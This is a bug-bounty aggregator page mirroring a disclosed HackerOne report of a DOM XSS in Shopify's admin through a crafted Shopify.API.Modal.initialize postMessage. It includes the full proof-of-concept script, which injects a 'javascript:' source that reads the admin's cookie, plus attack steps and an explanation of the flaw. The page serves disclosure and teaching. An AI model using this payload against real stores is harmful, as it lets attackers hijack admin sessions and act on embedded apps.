Skip to content
XSS Disclosed report Intermediate

DOM XSS via Shopify.API.Modal.initialize

A DOM XSS via Shopify.API.Modal.initialize let an attacker run script in a store admin's session and perform unauthorised actions on embedded apps.

tiago-danin Follow

Originally disclosed on HackerOne

Bounty$500 Low View original
  • Paid in 5 days
  • Disclosed after 15 days

Similar #422043 & #576532

Payload ( Based on #576532):

HTML
<script>
    function attack(){
        const ctx = window.open(location.origin+'/admin/themes', '_blank')
        const json = {
            message: "Shopify.API.Modal.initialize",
            data: {
                src: ""
            }
        }

        let interval;
        interval = setInterval(function(){
            if (window.attackSuccess) {
                clearInterval(interval)
            } else {
                ctx.postMessage(JSON.stringify(json)) // data.src == ""
                json.data.src = "javascript:alert(document.cookie)"
                ctx.postMessage(JSON.stringify(json))
            }
        }, 500)
    }
    attack()
</script>
<a href="javascript:attack()" style="display:block;text-align:center;width:100%;height:300px;line-height:300px;background:#000;color:#fff;">click me start attack</a>

Impact

Perform unauthorized actions on a store admin on any embedded apps.

The original report as published on HackerOne, by tiago-danin. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

What the attacker needed

Victim is a logged-in store admin; victim clicks the attacker's link

How it was found

  1. Open the crafted page and click the link to start the attack.
  2. The page opens the admin themes page in a new window.
  3. It repeatedly sends a modal initialise message with an empty source, then a script URL.
  4. The admin page is sent a script URL in the modal message, which may run the attacker's code.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When one page opens another and sends it messages, the receiving page must check who sent the message and what it contains. Here the admin page trusted a message and used a link from it to load content, so a malicious page could slip in a script link. That let the attacker run their own code inside the admin's browser session.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by tiago-danin

View all

4 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.